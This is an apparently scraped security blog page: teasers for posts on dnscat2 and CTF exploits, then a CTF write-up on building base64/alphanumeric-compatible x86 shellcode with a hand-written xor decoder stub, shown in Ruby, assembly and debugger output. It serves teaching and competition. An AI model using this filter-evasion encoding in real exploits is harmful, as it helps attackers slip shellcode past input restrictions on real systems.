    Live from the SANS Pentest Summit, I'm excited to announce the latest beta release of dnscat2: 0.04! Besides some minor cleanups and UI improvements, there is one serious improvement: all dnscat2 sessions are now encrypted by default!

    Read on for some user information, then some implementation details for those who are interested! For all the REALLY gory information, check out the protocol doc!
    Continue reading

    Why DNS is awesome and why you should love it

    It's no secret that I love DNS. It's an awesome protocol. It's easy to understand and easy to implement. It's also easy to get dangerously wrong, but that's a story for last weeka few weeks ago. :)

    I want to talk about interesting implication of DNS's design decisions that benefit us, as penetration testers. It's difficult to describe these decisions as good or bad, it's just what we have to work with.

    What I DON'T want to talk about today is DNS poisoning or spoofing, or similar vulnerabilities. While cool, it generally requires the attacker to take advantage of poorly configured or vulnerable DNS servers.

    Technically, I'm also releasing a tool I wrote a couple weeks ago: dnslogger.rb that replaces an old tool I wrote a million years ago.
    Continue reading

    How I nearly almost saved the Internet, starring afl-fuzz and dnsmasq

    If you know me, you know that I love DNS. I'm not exactly sure how that happened, but I suspect that Ed Skoudis is at least partly to blame.

    Anyway, a project came up to evaluate dnsmasq, and being a DNS server - and a key piece of Internet infrastructure - I thought it would be fun! And it was! By fuzzing in a somewhat creative way, I found a really cool vulnerability that's almost certainly exploitable (though I haven't proven that for reasons that'll become apparent later).

    Although I started writing an exploit, I didn't finish it. I think it's almost certainly exploitable, so if you have some free time and you want to learn about exploit development, it's worthwhile having a look! Here's a link to the actual distribution of a vulnerable version, and I'll discuss the work I've done so far at the end of this post.

    You can also download my branch, which is similar to the vulnerable version (branched from it), the only difference is that it contains a bunch of fuzzing instrumentation and debug output around parsing names.
    Continue reading

    Defcon quals: wwtw (a series of vulns)

    Hey folks,

    This is going to be my final (and somewhat late) writeup for the Defcon Qualification CTF. The level was called "wibbly-wobbly-timey-wimey", or "wwtw", and was a combination of a few things (at least the way I solved it): programming, reverse engineering, logic bugs, format-string vulnerabilities, some return-oriented programming (for my solution), and Dr. Who references!

    I'm not going to spend much time on the theory of format-string vulnerabilities or return-oriented programming because I just covered them in babyecho and r0pbaby.

    And by the way, I'll be building the solution in Python as we go, because the first part was solved by one of my teammates, and he's a Python guy. As much as I hated working with Python (which has become my life lately), I didn't want to re-write the first part and it was too complex to do on the shell, so I sucked it up and used his code.

    You can download the binary here, and you can get the exploit and other files involved on my github page.
    Continue reading

    Defcon Quals: babyecho (format string vulns in gory detail)

    Welcome to the third (and penultimate) blog post about the 2015 Defcon Qualification CTF! This is going to be a writeup of the "babyecho" level, as well as a thorough overview of format-string vulnerabilities! I really like format string vulnerabilities - they're essentially a "read or write anywhere" primitive - so I'm excited to finally write about them!

    You can grab the binary here, and you can get my exploit and some other files on this Github repo.
    Continue reading

    Defcon Quals: Access Control (simple reverse engineer)

    Hello all,

    Today's post will be another write-up from the Defcon CTF Qualifiers. This one will be the level called "Access Client", or simply "client", which was a one-point reverse engineering level. This post is going to be mostly about the process I use for reverse engineering crypto-style code - it's a much different process than reversing higher level stuff, because each instruction matters and it's often extremely hard to follow.

    Having just finished another level (r0pbaby, I think), and having about an hour left in the competition, I wanted something I could finish quickly. There were two one-point reverse engineering challenges open that we hadn't solved: one was 64-bit and written in C++, whereas this one was 32-bit and C and only had a few short functions. The choice was easy. :)

    I downloaded the binary and had a look at its strings. Lots of text-based stuff, such as "list users", "print key", and "connection id:", which I saw as a good sign!
    Continue reading

    Defcon Quals: r0pbaby (simple 64-bit ROP)

    This past weekend I competed in the Defcon CTF Qualifiers from the Legit Business Syndicate. In the past it's been one of my favourite competitions, and this year was no exception!

    Unfortunately, I got stuck for quite a long time on a 2-point problem ("wwtw") and spent most of my weekend on it. But I did do a few others - r0pbaby included - and am excited to write about them, as well!

    r0pbaby is neat, because it's an absolute bare-bones ROP (return-oriented programming) level. Quite honestly, when it makes sense, I actually prefer using a ROP chain to using shellcode. Much of the time, it's actually easier! You can see the binary, my solution, and other stuff I used on this github repo.

    It might make sense to read a post I made in 2013 about a level in PlaidCTF called ropasaurusrex. But it's not really necessary - I'm going to explain the same stuff again with two years more experience!
    Continue reading

    dnscat2 beta release!

    As I promised during my 2014 Derbycon talk (amongst other places), this is an initial release of my complete re-write/re-design of the dnscat service / protocol. It's now a standalone tool instead of being bundled with nbtool, among other changes. :)

    I'd love to have people testing it, and getting feedback is super important to me! Even if you don't try this version, hearing that you're excited for a full release would be awesome. The more people excited for this, the more I'm encouraged to work on it! In case you don't know it, my email address is listed below in a couple places.
    Continue reading

    GitS 2015: Huffy (huffman-encoded shellcode)

    Welcome to my fourth and final writeup from Ghost in the Shellcode 2015! This one is about the one and only reversing level, called "huffy", that was released right near the end.

    Unfortunately, while I thought I was solving it a half hour before the game ended, I had messed up some timezones and was finishing it a half hour after the game ended. So I didn't do the final exploitation step.

    At any rate, I solved the hard part, so I'll go over the solution!
    Continue reading

    GitS 2015: Giggles (off-by-one virtual machine)

    Welcome to part 3 of my Ghost in the Shellcode writeup! Sorry for the delay, I actually just moved to Seattle. On a sidenote, if there are any Seattle hackers out there reading this, hit me up and let's get a drink!

    Now, down to business: this writeup is about one of the Pwnage 300 levels; specifically, Giggles, which implements a very simple and very vulnerable virtual machine. You can download the binary here, the source code here (with my comments - I put XXX near most of the vulnerabilities and bad practices I noticed), and my exploit here.

    One really cool aspect of this level was that they gave source code, a binary with symbols, and even a client (that's the last time I'll mention their client, since I dislike Python :) )! That means we could focus on exploitation and not reversing!
    Continue reading

    #####EOF##### Solving b-64-b-tuff: writing base64 and alphanumeric shellcode » SkullSecurity


    Solving b-64-b-tuff: writing base64 and alphanumeric shellcode

    Hey everybody,

    A couple months ago, we ran BSides San Francisco CTF. It was fun, and I posted blogs about it at the time, but I wanted to do a late writeup for the level b-64-b-tuff.

    The challenge was to write base64-compatible shellcode. There's an easy solution - using an alphanumeric encoder - but what's the fun in that? (also, I didn't think of it :) ). I'm going to cover base64, but these exact same principles apply to alphanumeric - there's absolutely on reason you couldn't change the SET variable in my examples and generate alphanumeric shellcode.

    In this post, we're going to write a base64 decoder stub by hand, which encodes some super simple shellcode. I'll also post a link to a tool I wrote to automate this.

    I can't promise that this is the best, or the easiest, or even a sane way to do this. I came up with this process all by myself, but I have to imagine that the generally available encoders do basically the same thing. :)

    Intro to Shellcode

    I don't want to dwell too much on the basics, so I highly recommend reading PRIMER.md, which is a primer on assembly code and shellcode that I recently wrote for a workshop I taught.

    The idea behind the challenge is that you send the server arbitrary binary data. That data would be encoded into base64, then the base64 string was run as if it were machine code. That means that your machine code had to be made up of characters in the set [a-zA-Z0-9+/]. You could also have an equal sign ("=") or two on the end, but that's not really useful.

    We're going to mostly focus on how to write base64-compatible shellcode, then bring it back to the challenge at the very end.

    Assembly instructions

    Since each assembly instruction has a 1:1 relationship to the machine code it generates, it'd be helpful to us to get a list of all instructions we have available that stay within the base64 character set.

    To get an idea of which instructions are available, I wrote a quick Ruby script that would attempt to disassemble every possible combination of two characters followed by some static data.

    I originally did this by scripting out to ndisasm on the commandline, a tool that we'll see used throughout this blog, but I didn't keep that code. Instead, I'm going to use the Crabstone Disassembler, which is Ruby bindings for Capstone:

    require 'crabstone'
    
    # Our set of known characters
    SET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
    
    # Create an instance of the Crabstone Disassembler for 32-bit x86
    cs = Crabstone::Disassembler.new(Crabstone::ARCH_X86, Crabstone::MODE_32)
    
    # Get every 2-character combination
    SET.chars.each do |c1|
      SET.chars.each do |c2|
        # Pad it out pretty far with obvious no-op-ish instructions
        data = c1 + c2 + ("A" * 14)
    
        # Disassemble it and get the first instruction (we only care about the
        # shortest instructions we can form)
        instruction = cs.disasm(data, 0)[0]
    
        puts "%s     %s %s" % [
          instruction.bytes.map() { |b| '%02x' % b }.join(' '),
          instruction.mnemonic.to_s,
          instruction.op_str.to_s
        ]
      end
    end
    

    I'd probably do it considerably more tersely in irb if I was actually solving a challenge rather than writing a blog, but you get the idea. :)

    Anyway, running that produces quite a lot of output. We can feed it through sort + uniq to get a much shorter version.

    From there, I manually went through the full 2000+ element list to figure out what might actually be useful (since the vast majority were basically identical, that's easier than it sounds). I moved all the good stuff to the top and got rid of the stuff that's useless for writing a decoder stub. That left me with this list. I left in a bunch of stuff (like multiply instructions) that probably wouldn't be useful, but that I didn't want to completely discount.

    Dealing with a limited character set

    When you write shellcode, there are a few things you have to do. At a minimum, you almost always have to change registers to fairly arbitrary values (like a command to execute, a file to read/write, etc) and make syscalls ("int 0x80" in assembly or "\xcd\x80" in machine code; we'll see how that winds up being the most problematic piece!).

    For the purposes of this blog, we're going to have 12 bytes of shellcode: a simple call to the sys_exit() syscall, with a return code of 0x41414141. The reason is, it demonstrates all the fundamental concepts (setting variables and making syscalls), and is easy to verify as correct using strace

    Here's the shellcode we're going to be working with:

    mov eax, 0x01 ; Syscall 1 = sys_exit
    mov ebx, 0x41414141 ; First (and only) parameter: the exit code
    int 0x80
    

    We'll be using this code throughout, so make sure you have a pretty good grasp of it! It assembles to (on Ubuntu, if this fails, try apt-get install nasm):

    $ echo -e 'bits 32\n\nmov eax, 0x01\nmov ebx, 0x41414141\nint 0x80\n' > file.asm; nasm -o file file.asm
    $ hexdump -C file
    00000000  b8 01 00 00 00 bb 41 41  41 41 cd 80              |............|
    

    If you want to try running it, you can use my run_raw_code.c utility (there are plenty just like it):

    $ strace ./run_raw_code file
    [...]
    read(3, "\270\1\0\0\0\273AAAA\315\200", 12) = 12
    exit(1094795585)                        = ?
    

    The read() call is where the run_raw_code stub is reading the shellcode file. The 1094795585 in exit() is the 0x41414141 that we gave it. We're going to see that value again and again and again, as we evaluate the correctness of our code, so get used to it!

    You can also prove that it disassembles properly, and see what each line becomes using the ndisasm utility (this is part of the nasm package):

    $ ndisasm -b32 file
    00000000  B801000000        mov eax,0x1
    00000005  BB41414141        mov ebx,0x41414141
    0000000A  CD80              int 0x80
    

    Easy stuff: NUL byte restrictions

    Let's take a quick look at a simple character restriction: NUL bytes. It's commonly seen because NUL bytes represent string terminators. Functions like strcpy() stop copying when they reach a NUL. Unlike base64, this can be done by hand!

    It's usually pretty straight forward to get rid of NUL bytes by just looking at where they appear and fixing them; it's almost always the case that it's caused by 32-bit moves or values, so we can just switch to 8-bit moves (using eax is 32 bits; using al, the last byte of eax, is 8 bits):

    xor eax, eax ; Set eax to 0
    inc eax ; Increment eax (set it to 1) - could also use "mov al, 1", but that's one byte longer
    mov ebx, 0x41414141 ; Set ebx to the usual value, no NUL bytes here
    int 0x80 ; Perform the syscall
    

    We can prove this works, as well (I'm going to stop showing the echo as code gets more complex, but I use file.asm throughout):

    $ echo -e 'bits 32\n\nxor eax, eax\ninc eax\nmov ebx, 0x41414141\nint 0x80\n'> file.asm; nasm -o file file.asm
    $ hexdump -C file
    00000000  31 c0 40 bb 41 41 41 41  cd 80                    |1.@.AAAA..|
    

    Simple!

    Clearing eax in base64

    Something else to note: our shellcode is now largely base64! Let's look at the disassembled version so we can see where the problems are:

    $ ndisasm -b32 file                               65 [11:16:34]
    00000000  31C0              xor eax,eax
    00000002  40                inc eax
    00000003  BB41414141        mov ebx,0x41414141
    00000008  CD80              int 0x80
    

    Okay, maybe we aren't so close: the only line that's actually compatible is "inc eax". I guess we can start the long journey!

    Let's start by looking at how we can clear eax using our instruction set. We have a few promising instructions for changing eax, but these are the ones I like best:

    • 35 ?? ?? ?? ?? xor eax,0x????????
    • 68 ?? ?? ?? ?? push dword 0x????????
    • 58 pop eax

    Let's start with the most naive approach:

    push 0
    pop eax
    

    If we assemble that, we get:

    00000000  6A00              push byte +0x0
    00000002  58                pop eax
    

    Close! But because we're pushing 0, we end up with a NUL byte. So let's push something else:

    push 0x41414141
    pop eax
    

    If we look at how that assembles, we get:

    00000000  68 41 41 41 41 58                                 |hAAAAX|
    

    Not only is it all Base64 compatible now, it also spells "hAAAAX", which is a fun coincidence. :)

    The problem is, eax doesn't end up as 0, it's 0x41414141. You can verify this by adding "int 3" at the bottom, dumping a corefile, and loading it in gdb (feel free to use this trick throughout if you're following along, I'm using it constantly to verify my code snippings, but I'll only show it when the values are important):

    $ ulimit -c unlimited
    $ rm core
    $ cat file.asm
    bits 32
    
    push 0x41414141
    pop eax
    int 3
    $ nasm -o file file.asm
    $ ./run_raw_code ./file
    allocated 8 bytes of executable memory at: 0x41410000
    fish: “./run_raw_code ./file” terminated by signal SIGTRAP (Trace or breakpoint trap)
    $ gdb ./run_raw_code ./core
    Core was generated by `./run_raw_code ./file`.
    Program terminated with signal SIGTRAP, Trace/breakpoint trap.
    #0  0x41410008 in ?? ()
    (gdb) print/x $eax
    $1 = 0x41414141
    

    Anyway, if we don't like the value, we can xor a value with eax, provided that the value is also base64-compatible! So let's do that:

    push 0x41414141
    pop eax
    xor eax, 0x41414141
    

    Which assembles to:

    00000000  68 41 41 41 41 58 35 41  41 41 41                 |hAAAAX5AAAA|

    All right! You can verify using the debugger that, at the end, eax is, indeed, 0.

    Encoding an arbitrary value in eax

    If we can set eax to 0, does that mean we can set it to anything?

    Since xor works at the byte level, the better question is: can you xor two base-64-compatible bytes together, and wind up with any byte?

    Turns out, the answer is no. Not quite. Let's look at why!

    We'll start by trying a pure bruteforce (this code is essentially from my solution):

    SET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
    def find_bytes(b)
      SET.bytes.each do |b1|
        SET.bytes.each do |b2|
          if((b1 ^ b2) == b)
            return [b1, b2]
          end
        end
      end
      puts("Error: Couldn't encode 0x%02x!" % b)
      return nil
    end
    
    0.upto(255) do |i|
      puts("%x => %s" % [i, find_bytes(i)])
    end
    

    The full output is here, but the summary is:

    0 => [65, 65]
    1 => [66, 67]
    2 => [65, 67]
    3 => [65, 66]
    ...
    7d => [68, 57]
    7e => [70, 56]
    7f => [70, 57]
    Error: Couldn't encode 0x80!
    80 =>
    Error: Couldn't encode 0x81!
    81 =>
    Error: Couldn't encode 0x82!
    82 =>
    ...
    

    Basically, we can encode any value that doesn't have the most-significant bit set (ie, anything under 0x80). That's going to be a problem that we'll deal with much, much later.

    Since many of our instructions operate on 4-byte values, not 1-byte values, we want to operate in 4-byte chunks. Fortunately, xor is byte-by-byte, so we just need to treat it as four individual bytes:

    def get_xor_values_32(desired)
      # Convert the integer into a string (pack()), then into the four bytes
      b1, b2, b3, b4 = [desired].pack('N').bytes()
    
      v1 = find_bytes(b1)
      v2 = find_bytes(b2)
      v3 = find_bytes(b3)
      v4 = find_bytes(b4)
    
      # Convert both sets of xor values back into integers
      result = [
        [v1[0], v2[0], v3[0], v4[0]].pack('cccc').unpack('N').pop(),
        [v1[1], v2[1], v3[1], v4[1]].pack('cccc').unpack('N').pop(),
      ]
    
    
      # Note: I comment these out for many of the examples, simply for brevity
      puts '0x%08x' % result[0]
      puts '0x%08x' % result[1]
      puts('----------')
      puts('0x%08x' % (result[0] ^ result[1]))
      puts()
    
      return result
    end
    

    This function takes a single 32-bit value and it outputs the two xor values (note that this won't work when the most significant bit is set.. stay tuned for that!):

    irb(main):039:0> get_xor_values_32(0x01020304)
    0x42414141
    0x43434245
    ----------
    0x01020304
    
    => [1111572801, 1128481349]
    
    irb(main):040:0> get_xor_values_32(0x41414141)
    0x6a6a6a6a
    0x2b2b2b2b
    ----------
    0x41414141
    
    => [1785358954, 724249387]
    

    And so on.

    So if we want to set eax to 0x00000001 (for the sys_exit syscall), we can simply feed it into this code and convert it to assembly:

    get_xor_values_32(0x01)
    0x41414142
    0x41414143
    ----------
    0x00000001
    
    => [1094795586, 1094795587]
    

    Then write the shellcode:

    push 0x41414142
    pop eax
    xor eax, 0x41414143
    

    And prove to ourselves that it's base-64-compatible; I believe in doing this, because every once in awhile an instruction like "inc eax" (which becomes '@') will slip in when I'm not paying attention:

    $ hexdump -C file
    00000000  68 42 41 41 41 58 35 43  41 41 41                 |hBAAAX5CAAA|
    

    We'll be using that exact pattern a lot - push (value) / pop eax / xor eax, (other value). It's the most fundamental building block of this project!

    Setting other registers

    Sadly, unless I missed something, there's no easy way to set other registers. We can increment or decrement them, and we can pop values off the stack into some of them, but we don't have the ability to xor, mov, or anything else useful!

    There are basically three registers that we have easy access to:

    • 58 pop eax
    • 59 pop ecx
    • 5A pop edx

    So to set ecx to an arbitrary value, we can do it via eax:

    push 0x41414142
    pop eax
    xor eax, 0x41414143 ; eax -> 1
    push eax
    pop ecx ; ecx -> 1
    

    Then verify the base64-ness:

    $ hexdump -C file
    00000000  68 42 41 41 41 58 35 43  41 41 41 50 59           |hBAAAX5CAAAPY|
    

    Unfortunately, if we try the same thing with ebx, we hit a non-base64 character:

    $ hexdump -C file
    00000000  68 42 41 41 41 58 35 43  41 41 41 50 5b           |hBAAAX5CAAAP[|
    

    Note the "[" at the end - that's not in our character set! So we're pretty much limited to using eax, ecx, and edx for most things.

    But wait, there's more! We do, however, have access to popad. The popad instruction pops the next 8 things off the stack and puts them in all 8 registers. It's a bit of a scorched-earth method, though, because it overwrites all registers. We're going to use it at the start of our code to zero-out all the registers.

    Let's try to convert our exit shellcode from earlier:

    mov eax, 0x01 ; Syscall 1 = sys_exit
    mov ebx, 0x41414141 ; First (and only) parameter: the exit code
    int 0x80
    

    Into something that's base-64 friendly:

    ; We'll start by populating the stack with 0x41414141's
    push 0x41414141
    push 0x41414141
    push 0x41414141
    push 0x41414141
    push 0x41414141
    push 0x41414141
    push 0x41414141
    push 0x41414141
    
    ; Then popad to set all the registers to 0x41414141
    popad
    
    ; Then set eax to 1
    push 0x41414142
    pop eax
    xor eax, 0x41414143
    
    ; Finally, do our syscall (as usual, we're going to ignore the fact that the syscall isn't base64 compatible)
    int 0x80
    

    Prove that it uses only base64 characters (except the syscall):

    $ hexdump -C file
    00000000  68 41 41 41 41 68 41 41  41 41 68 41 41 41 41 68  |hAAAAhAAAAhAAAAh|
    00000010  41 41 41 41 68 41 41 41  41 68 41 41 41 41 68 41  |AAAAhAAAAhAAAAhA|
    00000020  41 41 41 68 41 41 41 41  61 68 42 41 41 41 58 35  |AAAhAAAAahBAAAX5|
    00000030  43 41 41 41 cd 80                                 |CAAA..|
    

    And prove that it still works:

    $ strace ./run_raw_code ./file
    ...
    read(3, "hAAAAhAAAAhAAAAhAAAAhAAAAhAAAAhA"..., 54) = 54
    exit(1094795585)                        = ?
    

    Encoding the actual code

    You've probably noticed by now: this is a lot of work. Especially if you want to set each register to a different non-base64-compatible value! You have to encode each value by hand, making sure you set eax last (because it's our working register). And what if you need an instruction (like add, or shift) that isn't available? Do we just simulate it?

    As I'm sure you've noticed, the machine code is just a bunch of bytes. What's stopping us from simply encoding the machine code rather than just values?

    Let's take our original example of an exit again:

    mov eax, 0x01 ; Syscall 1 = sys_exit
    mov ebx, 0x41414141 ; First (and only) parameter: the exit code
    int 0x80
    

    Because 'mov' assembles to 0xb8XXXXXX, I don't want to deal with that yet (the most-significant bit is set). So let's change it a bit to keep each byte (besides the syscall) under 0x80:

    00000000  6A01              push byte +0x1
    00000002  58                pop eax
    00000003  6841414141        push dword 0x41414141
    00000008  5B                pop ebx
    

    Or, as a string of bytes:

    "\x6a\x01\x58\x68\x41\x41\x41\x41\x5b"

    Let's pad that to a multiple of 4 so we can encode in 4-byte chunks (we pad with 'A', because it's as good a character as any):

    "\x6a\x01\x58\x68\x41\x41\x41\x41\x5b\x41\x41\x41"

    then break that string into 4-byte chunks, encoding as little endian (reverse byte order):

    • 6a 01 58 68 -> 0x6858016a
    • 41 41 41 41 -> 0x41414141
    • 5b 41 41 41 -> 0x4141415b

    Then run each of those values through our get_xor_values_32() function from earlier:

    irb(main):047:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x6858016a)
    0x43614241 ^ 0x2b39432b
    
    irb(main):048:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x41414141)
    0x6a6a6a6a ^ 0x2b2b2b2b
    
    irb(main):050:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x4141415b)
    0x6a6a6a62 ^ 0x2b2b2b39
    

    Let's start our decoder by simply calculating each of these values in eax, just to prove that they're all base64-compatible (note that we are simply discarding the values in this example, we aren't doing anything with them quite yet):

    push 0x43614241
    pop eax
    xor eax, 0x2b39432b ; 0x6858016a
    
    push 0x6a6a6a6a
    pop eax
    xor eax, 0x2b2b2b2b ; 0x41414141
    
    push 0x6a6a6a62
    pop eax
    xor eax, 0x2b2b2b39 ; 0x4141415b
    

    Which assembles to:

    $ hexdump -Cv file
    00000000  68 41 42 61 43 58 35 2b  43 39 2b 68 6a 6a 6a 6a  |hABaCX5+C9+hjjjj|
    00000010  58 35 2b 2b 2b 2b 68 62  6a 6a 6a 58 35 39 2b 2b  |X5++++hbjjjX59++|
    00000020  2b                                                |+|
    

    Looking good so far!

    Decoder stub

    Okay, we've proven that we can encode instructions (without the most significant bit set)! Now we actually want to run it!

    Basically: our shellcode is going to start with a decoder, followed by a bunch of encoded bytes. We'll also throw some padding in between to make this easier to do by hand. The entire decoder has to be made up of base64-compatible bytes, but the encoded payload (ie, the shellcode) has no restrictions.

    So now we actually want to alter the shellcode in memory (self-rewriting code!). We need an instruction to do that, so let's look back at the list of available instructions! After some searching, I found one that's promising:

    3151??            xor [ecx+0x??],edx
    

    This command xors the 32-bit value at memory address ecx+0x?? with edx. We know we can easily control ecx (push (value) / pop eax / xor (other value) / push eax / pop ecx) and, similarly edx. Since the "0x??" value has to also be a base64 character, we'll follow our trend and use [ecx+0x41], which gives us:

    315141            xor [ecx+0x41],edx
    

    Once I found that command, things started coming together! Since I can control eax, ecx, and edx pretty cleanly, that's basically the perfect instruction to decode our shellcode in-memory!

    This is somewhat complex, so let's start by looking at the steps involved:

    • Load the encoded shellcode (half of the xor pair, ie, the return value from get_xor_values_32()) into a known memory address (in our case, it's going to be 0x141 bytes after the start of our code)
    • Set ecx to the value that's 0x41 bytes before that encoded shellcode (0x100)
    • For each 32-bit pair in the encoded shellcode...
      • Load the other half of the xor pair into edx
      • Do the xor to alter it in-memory (ie, decode it back to the original, unencoded value)
      • Increment ecx to point at the next value
      • Repeat for the full payload
    • Run the newly decoded payload

    For the sake of our sanity, we're going to make some assumptions in the code: first, our code is loaded to the address 0x41410000 (which it is, for this challenge). Second, the decoder stub is exactly 0x141 bytes long (we will pad it to get there). Either of these can be easily worked around, but it's not necessary to do the extra work in order to grok the decoder concept.

    Recall that for our sys_exit shellcode, the xor pairs we determined were: 0x43614241 ^ 0x2b39432b, 0x6a6a6a6a ^ 0x2b2b2b2b, and 0x6a6a6a62 ^ 0x2b2b2b39.

    Here's the code:

    ; Set ecx to 0x41410100 (0x41 bytes less than the start of the encoded data)
    push 0x6a6a4241
    pop eax
    xor eax, 0x2b2b4341 ; eax -> 0x41410100
    push eax
    pop ecx ; ecx -> 0x41410100
    
    ; Set edx to the first value in the first xor pair
    push 0x43614241
    pop edx
    
    ; xor it with the second value in the first xor pair (which is at ecx + 0x41)
    xor [ecx+0x41], edx
    
    ; Move ecx to the next 32-bit value
    inc ecx
    inc ecx
    inc ecx
    inc ecx
    
    ; Set edx to the first value in the second xor pair
    push 0x6a6a6a6a
    pop edx
    
    ; xor + increment ecx again
    xor [ecx+0x41], edx
    inc ecx
    inc ecx
    inc ecx
    inc ecx
    
    ; Set edx to the first value in the third and final xor pair, and xor it
    push 0x6a6a6a62
    pop edx
    xor [ecx+0x41], edx
    
    ; At this point, I assembled the code and counted the bytes; we have exactly 0x30 bytes of code so far. That means to get our encoded shellcode to exactly 0x141 bytes after the start, we need 0x111 bytes of padding ('A' translates to inc ecx, so it's effectively a no-op because the encoded shellcode doesn't care what ecx starts as):
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAA'
    
    ; Now, the second halves of our xor pairs; this is what gets modified in-place
    dd 0x2b39432b
    dd 0x2b2b2b2b
    dd 0x2b2b2b39
    
    ; And finally, we're going to cheat and just do a syscall that's non-base64-compatible
    int 0x80
    

    All right! Here's what it gives us; note that other than the syscall at the end (we'll get to that, I promise!), it's all base64:

    $ hexdump -Cv file
    00000000  68 41 42 6a 6a 58 35 41  43 2b 2b 50 59 68 41 42  |hABjjX5AC++PYhAB|
    00000010  61 43 5a 31 51 41 41 41  41 41 68 6a 6a 6a 6a 5a  |aCZ1QAAAAAhjjjjZ|
    00000020  31 51 41 41 41 41 41 68  62 6a 6a 6a 5a 31 51 41  |1QAAAAAhbjjjZ1QA|
    00000030  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000040  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000050  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000060  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000070  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000080  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000090  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    000000a0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    000000b0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    000000c0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    000000d0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    000000e0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    000000f0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000100  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000110  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000120  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000130  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000140  41 2b 43 39 2b 2b 2b 2b  2b 39 2b 2b 2b cd 80     |A+C9+++++9+++..|
    

    To run this, we have to patch run_raw_code.c to load the code to the correct address:

    diff --git a/forensics/ximage/solution/run_raw_code.c b/forensics/ximage/solution/run_raw_code.c
    index 9eadd5e..1ad83f1 100644
    --- a/forensics/ximage/solution/run_raw_code.c
    +++ b/forensics/ximage/solution/run_raw_code.c
    @@ -12,7 +12,7 @@ int main(int argc, char *argv[]){
         exit(0);
       }
    
    -  void * a = mmap(0, statbuf.st_size, PROT_EXEC |PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);
    +  void * a = mmap(0x41410000, statbuf.st_size, PROT_EXEC |PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);
       printf("allocated %d bytes of executable memory at: %p\n", statbuf.st_size, a);
    
       FILE *file = fopen(argv[1], "rb");
    

    You'll also have to compile it in 32-bit mode:

    $ gcc -m32 -o run_raw_code run_raw_code.c
    

    Once that's done, give 'er a shot:

    $ strace ~/projects/ctf-2017-release/forensics/ximage/solution/run_raw_code ./file
    [...]
    read(3, "hABjjX5AC++PYhABaCZ1QAAAAAhjjjjZ"..., 335) = 335
    exit(1094795585)                        = ?
    

    We did it, team!

    If we want to actually inspect the code, we can change the very last padding 'A' into 0xcc (aka, int 3, or a SIGTRAP):

    $ diff -u file.asm file-trap.asm
    --- file.asm    2017-06-11 13:17:57.766651742 -0700
    +++ file-trap.asm       2017-06-11 13:17:46.086525100 -0700
    @@ -45,7 +45,7 @@
     db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
     db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
     db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    -db 'AAAAAAAAAAAAAAAAA'
    +db 'AAAAAAAAAAAAAAAA', 0xcc
    
     ; Now, the second halves of our xor pairs
     dd 0x2b39432b
    

    And run it with corefiles enabled:

    $ nasm -o file file.asm
    $ ulimit -c unlimited
    $ ~/projects/ctf-2017-release/forensics/ximage/solution/run_raw_code ./file
    allocated 335 bytes of executable memory at: 0x41410000
    fish: “~/projects/ctf-2017-release/for...” terminated by signal SIGTRAP (Trace or breakpoint trap)
    $ gdb ~/projects/ctf-2017-release/forensics/ximage/solution/run_raw_code ./core
    Core was generated by `/home/ron/projects/ctf-2017-release/forensics/ximage/solution/run_raw_code ./fi`.
    Program terminated with signal SIGTRAP, Trace/breakpoint trap.
    #0  0x41410141 in ?? ()
    (gdb) x/10i $eip
    => 0x41410141:  push   0x1
       0x41410143:  pop    eax
       0x41410144:  push   0x41414141
       0x41410149:  pop    ebx
       0x4141014a:  inc    ecx
       0x4141014b:  inc    ecx
       0x4141014c:  inc    ecx
       0x4141014d:  int    0x80
       0x4141014f:  add    BYTE PTR [eax],al
